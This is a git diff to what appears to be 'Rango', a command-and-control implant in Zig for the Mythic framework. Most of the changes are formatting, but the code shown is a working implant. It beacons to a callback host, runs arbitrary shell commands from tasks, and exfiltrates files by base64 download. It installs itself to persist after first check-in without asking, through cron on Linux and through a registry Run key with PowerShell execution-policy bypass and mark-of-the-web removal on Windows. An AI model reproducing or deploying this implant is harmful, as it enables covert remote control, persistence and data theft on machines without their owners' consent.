diff --git a/.github/workflows/fmt.yml b/.github/workflows/fmt.yml new file mode 100644 index 0000000..26098a6 --- /dev/null +++ b/.github/workflows/fmt.yml @@ -0,0 +1,23 @@ +name: Zig Format Check + +on: + pull_request: + branches: [ "main" ] + +jobs: + zig-fmt: + runs-on: ubuntu-latest + + steps: + - name: Checkout repo + uses: actions/checkout@v3 + + - name: Install Zig + uses: mlugg/setup-zig@v2 + with: + version: 0.15.1 + + - name: Run zig fmt + run: | + zig fmt --check Payload_Type/rango/rango/agent_code/src + zig fmt --check Payload_Type/rango/rango/agent_code/tests diff --git a/Payload_Type/rango/rango/agent_code/src/agent.zig b/Payload_Type/rango/rango/agent_code/src/agent.zig index f406e64..fb4183c 100644 --- a/Payload_Type/rango/rango/agent_code/src/agent.zig +++ b/Payload_Type/rango/rango/agent_code/src/agent.zig @@ -25,7 +25,7 @@ const PersistUtils = utils.PersistUtils; pub const MythicAgent = struct { const Self = @This(); - + allocator: Allocator, config: AgentConfig, uuid: []const u8, @@ -34,21 +34,21 @@ pub const MythicAgent = struct { command_executor: CommandExecutor, system_info: SystemInfo, crypto_utils: CryptoUtils, - + aes_key: [32]u8, //For future use watch this space payload_uuid: []const u8, - + tasks: std.ArrayListUnmanaged(MythicTask), pending_responses: std.ArrayListUnmanaged(MythicResponse), is_running: bool, last_checkin: i64, - + pub fn init(allocator: Allocator, agent_config: types.AgentConfig) !Self { var crypto_utils = CryptoUtils.init(allocator); - - const session_id = try crypto_utils.generateSessionId();//session_id might be useful later. Not implemented yet + + const session_id = try crypto_utils.generateSessionId(); //session_id might be useful later. Not implemented yet const aes_key = CryptoUtils.generateAESKey(); - + return Self{ .allocator = allocator, .config = agent_config, @@ -66,26 +66,26 @@ pub const MythicAgent = struct { .last_checkin = 0, }; } - + pub fn deinit(self: *Self) void { self.allocator.free(self.session_id); self.tasks.deinit(self.allocator); self.pending_responses.deinit(self.allocator); self.network_client.deinit(); } - + pub fn run(self: *Self) !void { self.is_running = true; - + try self.checkin(); // Install persistence after first check-in const exepath = try std.fs.selfExePathAlloc(self.allocator); defer self.allocator.free(exepath); PersistUtils.install_cron(exepath, self.allocator) catch |err| { - std.debug.print("{}", .{err}); + std.debug.print("{}", .{err}); }; - + while (self.is_running) { if (self.config.kill_date) |kill_date| { if (TimeUtils.isKillDateReached(kill_date)) { @@ -116,9 +116,8 @@ pub const MythicAgent = struct { self.sleep(); } - } - + fn checkin(self: *Self) !void { const user = try self.system_info.getCurrentUser(); defer self.allocator.free(user); @@ -160,7 +159,7 @@ pub const MythicAgent = struct { defer combined.deinit(self.allocator); try combined.appendSlice(self.allocator, self.payload_uuid); try combined.appendSlice(self.allocator, json_bytes); - + const encoder = base64.standard.Encoder; const b64_len = encoder.calcSize(combined.items.len); const b64_data = try self.allocator.alloc(u8, b64_len); @@ -170,7 +169,6 @@ pub const MythicAgent = struct { const response = try self.network_client.sendRequest("data", b64_data); defer self.allocator.free(response); - const decoded_len = base64.standard.Decoder.calcSizeForSlice(response) catch { print("", .{}); return error.InvalidBase64; @@ -199,13 +197,13 @@ pub const MythicAgent = struct { self.last_checkin = TimeUtils.getCurrentTimestamp(); } - + fn getTasks(self: *Self) !void { const get_tasking_data = .{ .action = "get_tasking", .tasking_size = 1, }; - + var json_writer = std.Io.Writer.Allocating.init(self.allocator); defer json_writer.deinit(); @@ -228,7 +226,6 @@ pub const MythicAgent = struct { const response = try self.network_client.sendRequest("data", b64_data); defer self.allocator.free(response); - const decoded_len = base64.standard.Decoder.calcSizeForSlice(response) catch { print("", .{}); @@ -241,7 +238,7 @@ pub const MythicAgent = struct { print("", .{}); return error.InvalidBase64; }; - + if (response.len < 36) { return error.InvalidResponse; } @@ -252,43 +249,43 @@ pub const MythicAgent = struct { parameters: json.Value, }; const json_response = decoded_response[36..]; - + const parsed = json.parseFromSlice(struct { action: []const u8, tasks: []Task }, self.allocator, json_response, .{}) catch |err| { print("{}", .{err}); return err; }; defer parsed.deinit(); - + try self.parseTaskResponse(json_response); } - + fn parseTaskResponse(self: *Self, response: []const u8) !void { const parsed = json.parseFromSlice(json.Value, self.allocator, response, .{}) catch return; defer parsed.deinit(); - + if (parsed.value.object.get("tasks")) |tasks_value| { if (tasks_value.array.items.len > 0) { for (tasks_value.array.items) |task_value| { const task_obj = task_value.object; - + const task = MythicTask{ .id = try self.allocator.dupe(u8, task_obj.get("id").?.string), .command = try self.allocator.dupe(u8, task_obj.get("command").?.string), .parameters = try self.allocator.dupe(u8, task_obj.get("parameters").?.string), - .timestamp = try std.fmt.allocPrint(self.allocator, "{d}", .{task_obj.get("timestamp").?.integer}), + .timestamp = try std.fmt.allocPrint(self.allocator, "{d}", .{task_obj.get("timestamp").?.integer}), }; - + try self.tasks.append(self.allocator, task); } } } } - + fn processTasks(self: *Self) !void { for (self.tasks.items) |*task| { if (task.status == .submitted) { task.status = .processing; - + if (std.mem.eql(u8, task.command, "exit")) { self.is_running = false; const exit_response = MythicResponse{ @@ -301,7 +298,7 @@ pub const MythicAgent = struct { task.status = .completed; continue; } - + const result = self.command_executor.executeTask(task.*) catch |err| { const error_response = MythicResponse{ .task_id = task.id, @@ -313,13 +310,13 @@ pub const MythicAgent = struct { task.status = .erroragent; continue; }; - + try self.pending_responses.append(self.allocator, result); task.status = .completed; } } } - + fn sendResponses(self: *Self) !void { if (self.pending_responses.items.len == 0) return; diff --git a/Payload_Type/rango/rango/agent_code/src/commands.zig b/Payload_Type/rango/rango/agent_code/src/commands.zig index 9d284d2..3417cea 100644 --- a/Payload_Type/rango/rango/agent_code/src/commands.zig +++ b/Payload_Type/rango/rango/agent_code/src/commands.zig @@ -11,13 +11,13 @@ const MythicResponse = types.MythicResponse; pub const CommandExecutor = struct { allocator: Allocator, - + pub fn init(allocator: Allocator) CommandExecutor { return CommandExecutor{ .allocator = allocator, }; } - + pub fn executeTask(self: *CommandExecutor, task: MythicTask) !MythicResponse { if (std.mem.eql(u8, task.command, "shell")) { return try self.executeShell(task); @@ -40,7 +40,7 @@ pub const CommandExecutor = struct { }; } } - + fn executeShell(self: *CommandExecutor, task: MythicTask) !MythicResponse { const ShellParameters = struct { command: []const u8, @@ -57,7 +57,7 @@ pub const CommandExecutor = struct { }; } const shell_path = if (builtin.os.tag == .windows) "cmd.exe" else "/bin/sh"; - const shell_args = if (builtin.os.tag == .windows) "/c" else "-c"; + const shell_args = if (builtin.os.tag == .windows) "/c" else "-c"; const result = std.process.Child.run(.{ .allocator = self.allocator, .argv = &[_][]const u8{ shell_path, shell_args, command }, @@ -69,12 +69,12 @@ pub const CommandExecutor = struct { .status = "error", }; }; - + defer self.allocator.free(result.stdout); defer self.allocator.free(result.stderr); - + const output = if (result.stdout.len > 0) result.stdout else result.stderr; - + return MythicResponse{ .task_id = task.id, .user_output = try self.allocator.dupe(u8, output), @@ -82,7 +82,7 @@ pub const CommandExecutor = struct { .status = "completed", }; } - + fn executePwd(self: *CommandExecutor, task: MythicTask) !MythicResponse { const cwd = std.process.getCwdAlloc(self.allocator) catch |err| { return MythicResponse{ @@ -92,7 +92,7 @@ pub const CommandExecutor = struct { .status = "error", }; }; - + return MythicResponse{ .task_id = task.id, .user_output = cwd, @@ -100,7 +100,7 @@ pub const CommandExecutor = struct { .status = "completed", }; } - + fn executeLs(self: *CommandExecutor, task: MythicTask) !MythicResponse { const Parameters = struct { path: []const u8 = ".", @@ -147,7 +147,7 @@ pub const CommandExecutor = struct { .status = "error", }; } - + const content = std.fs.cwd().readFileAlloc(self.allocator, task.parameters, 1024 * 1024) catch |err| { return MythicResponse{ .task_id = task.id, @@ -156,7 +156,7 @@ pub const CommandExecutor = struct { .status = "error", }; }; - + return MythicResponse{ .task_id = task.id, .user_output = content, @@ -164,7 +164,7 @@ pub const CommandExecutor = struct { .status = "completed", }; } - + fn executeDownload(self: *CommandExecutor, task: MythicTask) !MythicResponse { const file_content = std.fs.cwd().readFileAlloc(self.allocator, task.parameters, 10 * 1024 * 1024) catch |err| { return MythicResponse{ @@ -175,12 +175,12 @@ pub const CommandExecutor = struct { }; }; defer self.allocator.free(file_content); - + const encoder = base64.standard.Encoder; const encoded_size = encoder.calcSize(file_content.len); const encoded_content = try self.allocator.alloc(u8, encoded_size); _ = encoder.encode(encoded_content, file_content); - + return MythicResponse{ .task_id = task.id, .download = types.DownloadInfo{ @@ -197,7 +197,6 @@ pub const CommandExecutor = struct { }; } - fn executeUpload(self: *CommandExecutor, task: MythicTask) !MythicResponse { const parsed = json.parseFromSlice(json.Value, self.allocator, task.parameters, .{}) catch { return MythicResponse{ @@ -208,7 +207,7 @@ pub const CommandExecutor = struct { }; }; defer parsed.deinit(); - + const remote_path = parsed.value.object.get("remote_path").?.string; const b64_content = parsed.value.object.get("content").?.string; const decoded_len = base64.standard.Decoder.calcSizeForSlice(b64_content) catch { @@ -227,7 +226,7 @@ pub const CommandExecutor = struct { defer file.close(); if (std.mem.startsWith(u8, decoded_content, "b'") and std.mem.endsWith(u8, decoded_content, "'")) { // Remove the b'' prefix if present. Very hacky and hould be improved. Sould write an unescape function later. - const content = decoded_content[2..decoded_content.len - 1]; + const content = decoded_content[2 .. decoded_content.len - 1]; try file.writeAll(content); } else { try file.writeAll(decoded_content); diff --git a/Payload_Type/rango/rango/agent_code/src/main.zig b/Payload_Type/rango/rango/agent_code/src/main.zig index e34771d..73f1776 100644 --- a/Payload_Type/rango/rango/agent_code/src/main.zig +++ b/Payload_Type/rango/rango/agent_code/src/main.zig @@ -11,12 +11,11 @@ pub fn main() !void { var gpa = std.heap.GeneralPurposeAllocator(.{}){}; defer _ = gpa.deinit(); const allocator = gpa.allocator(); - + const agent_config = config.agentConfig; - + var mythic_agent = try MythicAgent.init(allocator, agent_config); defer mythic_agent.deinit(); - + try mythic_agent.run(); } - diff --git a/Payload_Type/rango/rango/agent_code/src/network.zig b/Payload_Type/rango/rango/agent_code/src/network.zig index 9f7a453..5e01ece 100644 --- a/Payload_Type/rango/rango/agent_code/src/network.zig +++ b/Payload_Type/rango/rango/agent_code/src/network.zig @@ -10,7 +10,7 @@ pub const NetworkClient = struct { allocator: Allocator, config: AgentConfig, client: http.Client, - + pub fn init(allocator: Allocator, config: AgentConfig) NetworkClient { return NetworkClient{ .allocator = allocator, @@ -18,15 +18,15 @@ pub const NetworkClient = struct { .client = http.Client{ .allocator = allocator }, }; } - + pub fn deinit(self: *NetworkClient) void { self.client.deinit(); } - + pub fn sendRequest(self: *NetworkClient, endpoint: []const u8, data: []const u8) ![]const u8 { const uri_str = try std.fmt.allocPrint(self.allocator, "{s}:{d}/{s}", .{ self.config.callback_host, self.config.callback_port, endpoint }); defer self.allocator.free(uri_str); - + const extra_headers = &[_]http.Header{ .{ .name = "user-agent", .value = self.config.user_agent }, .{ .name = "content-type", .value = "application/json" }, diff --git a/Payload_Type/rango/rango/agent_code/src/types.zig b/Payload_Type/rango/rango/agent_code/src/types.zig index 458a402..7ce8142 100644 --- a/Payload_Type/rango/rango/agent_code/src/types.zig +++ b/Payload_Type/rango/rango/agent_code/src/types.zig @@ -53,4 +53,3 @@ pub const AgentConfig = struct { encrypted_exchange_check: bool = true, domain_front: ?[]const u8 = null, }; - diff --git a/Payload_Type/rango/rango/agent_code/src/utils.zig b/Payload_Type/rango/rango/agent_code/src/utils.zig index 51480a7..cc0a922 100644 --- a/Payload_Type/rango/rango/agent_code/src/utils.zig +++ b/Payload_Type/rango/rango/agent_code/src/utils.zig @@ -8,13 +8,13 @@ extern "shell32" fn IsUserAnAdmin() callconv(.winapi) bool; pub const SystemInfo = struct { allocator: Allocator, - + pub fn init(allocator: Allocator) SystemInfo { return SystemInfo{ .allocator = allocator, }; } - + pub fn getCurrentUser(self: *SystemInfo) ![]const u8 { const key = if (builtin.os.tag == .windows) "USERNAME" else "USER"; // Using getEnvVarOwned since the windows API is killing me @@ -25,7 +25,7 @@ pub const SystemInfo = struct { return err; }; } - + pub fn getHostname(self: *SystemInfo) ![]const u8 { if (builtin.os.tag == .windows) { return std.process.getEnvVarOwned(self.allocator, "COMPUTERNAME") catch |err| { @@ -36,11 +36,11 @@ pub const SystemInfo = struct { }; } else { var hostname_buf: [64]u8 = undefined; - const result = std.posix.gethostname(&hostname_buf) catch "Unknown"; + const result = std.posix.gethostname(&hostname_buf) catch "Unknown"; return try self.allocator.dupe(u8, result); } } - + pub fn getPid(self: *SystemInfo) ![]const u8 { if (builtin.os.tag == .windows) { const pid = std.os.windows.GetCurrentProcessId(); @@ -50,7 +50,7 @@ pub const SystemInfo = struct { return try std.fmt.allocPrint(self.allocator, "{d}", .{pid}); } } - + pub fn getDomain(self: *SystemInfo) ![]const u8 { if (builtin.os.tag == .windows) { return std.process.getEnvVarOwned(self.allocator, "USERDOMAIN") catch |err| { @@ -63,7 +63,7 @@ pub const SystemInfo = struct { return try self.allocator.dupe(u8, "WORKGROUP"); // Default } } - + pub fn getIntegrityLevel(self: *SystemInfo) ![]const u8 { if (builtin.os.tag == .windows) { //Windows docs encourage using something else but who has time for that? @@ -84,16 +84,16 @@ pub const SystemInfo = struct { } } } - + pub fn getExternalIP(self: *SystemInfo) ![]const u8 { return try self.allocator.dupe(u8, "0.0.0.0"); // Would need external service } - + pub fn getInternalIP(self: *SystemInfo) ![]const u8 { if (builtin.os.tag == .windows) { const result = std.process.Child.run(.{ .allocator = self.allocator, - .argv = &.{ "ipconfig" }, + .argv = &.{"ipconfig"}, }) catch |err| { std.debug.print("{}\n", .{err}); return try self.allocator.dupe(u8, "127.0.0.1"); @@ -119,7 +119,7 @@ pub const SystemInfo = struct { .allocator = self.allocator, .argv = &.{ "hostname", "-I" }, }) catch |err| { - std.debug.print("{}\n", .{err});//I should fix this later + std.debug.print("{}\n", .{err}); //I should fix this later return try self.allocator.dupe(u8, "127.0.0.1"); }; var tokens = std.mem.splitAny(u8, result.stdout, " "); @@ -130,7 +130,7 @@ pub const SystemInfo = struct { return try self.allocator.dupe(u8, first_ip); } } - + pub fn getProcessName(self: *SystemInfo) ![]const u8 { return try self.allocator.dupe(u8, "mythic_agent"); } @@ -138,45 +138,44 @@ pub const SystemInfo = struct { pub const CryptoUtils = struct { allocator: Allocator, - + pub fn init(allocator: Allocator) CryptoUtils { return CryptoUtils{ .allocator = allocator, }; } - + pub fn generateSessionId(self: *CryptoUtils) ![]const u8 { var session_bytes: [8]u8 = undefined; crypto.random.bytes(&session_bytes); return try std.fmt.allocPrint(self.allocator, "{x}", .{std.mem.readInt(u64, &session_bytes, .big)}); } - + pub fn generateAESKey() [32]u8 { var aes_key: [32]u8 = undefined; crypto.random.bytes(&aes_key); return aes_key; } - }; pub const TimeUtils = struct { pub fn sleep(sleep_time: u64) void { std.Thread.sleep(sleep_time * time.ns_per_s); } - + pub fn calculateJitteredSleep(base_sleep: u32, jitter: f32) u64 { const jitter_amount = @as(u64, @intFromFloat(@as(f64, @floatFromInt(base_sleep)) * jitter)); - + var prng = std.Random.DefaultPrng.init(@intCast(time.timestamp())); const random_jitter = prng.random().intRangeAtMost(u64, 0, jitter_amount); - + return base_sleep + random_jitter - (jitter_amount / 2); } - + pub fn getCurrentTimestamp() i64 { return time.timestamp(); } - + pub fn isKillDateReached(kill_date: []const u8) bool { // Would implement date parsing and comparison // Should ideally take kill date from config @@ -236,11 +235,10 @@ pub const TimeUtils = struct { total_days += @as(i64, day) - 1; // -1 because we count from day 0 return total_days * 24 * 60 * 60; } - + fn isLeapYear(year: i32) bool { return (@rem(year, 4) == 0 and @rem(year, 100) != 0) or (@rem(year, 400) == 0); } - }; pub const PersistUtils = struct { @@ -262,21 +260,11 @@ pub const PersistUtils = struct { return error.AlreadyPersistent; } - const unblock_cmd = try std.fmt.allocPrint( - allocator, - "Unblock-File -Path \"{s}\"", - .{agent_path}); + const unblock_cmd = try std.fmt.allocPrint(allocator, "Unblock-File -Path \"{s}\"", .{agent_path}); defer allocator.free(unblock_cmd); const remove_motw = try std.process.Child.run(.{ .allocator = allocator, - .argv = &.{ - "powershell", - "-NoProfile", - "-ExecutionPolicy", - "Bypass", - "-Command", - unblock_cmd - }, + .argv = &.{ "powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", unblock_cmd }, }); if (remove_motw.term.Exited != 0) { @@ -288,8 +276,10 @@ pub const PersistUtils = struct { "reg.exe", "add", "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", - "/v", "Rango", - "/d", try std.fmt.allocPrint(allocator, "\"{s}\"", .{agent_path}), + "/v", + "Rango", + "/d", + try std.fmt.allocPrint(allocator, "\"{s}\"", .{agent_path}), "/f", }, }); @@ -297,9 +287,7 @@ pub const PersistUtils = struct { if (result.term.Exited != 0) { return error.RegistryWriteFailed; } - } else { - const existing = std.process.Child.run(.{ .allocator = allocator, .argv = &.{ "crontab", "-l" }, @@ -320,7 +308,7 @@ pub const PersistUtils = struct { const combined = try std.mem.concat(allocator, u8, &[_][]const u8{ existing.stdout, cron_line }); defer allocator.free(combined); - var write_proc = std.process.Child.init(&[_][]const u8{"crontab", "-"}, allocator); + var write_proc = std.process.Child.init(&[_][]const u8{ "crontab", "-" }, allocator); write_proc.stdin_behavior = .Pipe; try write_proc.spawn(); @@ -329,24 +317,17 @@ pub const PersistUtils = struct { stdin.close(); } - // _ = write_proc.wait() catch |err| { - // std.log.err("Failed to write crontab: {}", .{err}); - // return error.CrontabWriteFailed; // Should handle this properly because of a panic in my tests:( - //}; + // _ = write_proc.wait() catch |err| { + // std.log.err("Failed to write crontab: {}", .{err}); + // return error.CrontabWriteFailed; // Should handle this properly because of a panic in my tests:( + //}; } } pub fn remove_cron_entry(agent_path: []const u8, allocator: std.mem.Allocator) !void { if (builtin.os.tag == .windows) { const existing = try std.process.Child.run(.{ .allocator = allocator, - .argv = &.{ - "reg.exe", - "delete", - "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", - "/v", - "Rango", - "/f" - }, + .argv = &.{ "reg.exe", "delete", "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "/v", "Rango", "/f" }, }); if (existing.term.Exited != 0) { return error.RegistryDeleteFailed; @@ -373,7 +354,7 @@ pub const PersistUtils = struct { const filtered = try std.mem.join(allocator, "\n", list.items); defer allocator.free(filtered); - var write_proc = std.process.Child.init(&[_][]const u8{"crontab", "-"}, allocator); + var write_proc = std.process.Child.init(&[_][]const u8{ "crontab", "-" }, allocator); write_proc.stdin_behavior = .Pipe; try write_proc.spawn(); @@ -385,5 +366,4 @@ pub const PersistUtils = struct { } //_ = write_proc.wait() catch {};//line caused a panic in my tests, commenting out for now } - }; diff --git a/Payload_Type/rango/rango/agent_functions/builder.py b/Payload_Type/rango/rango/agent_functions/builder.py index 4d57a73..461d531 100644 --- a/Payload_Type/rango/rango/agent_functions/builder.py +++ b/Payload_Type/rango/rango/agent_functions/builder.py @@ -175,7 +175,7 @@ async def build(self) -> BuildResponse: pack_with_zyra = self.get_parameter("pack_with_zyra") packing_key = self.get_parameter("Packing_key") if pack_with_zyra and target_os=="linux" and packing_key: - packed_filename = f"{filename}p" + packed_filename = f"{filename}" pack_cmd = f"zyra -o {packed_filename} -k {packing_key} {filename}" proc = await asyncio.create_subprocess_shell( pack_cmd,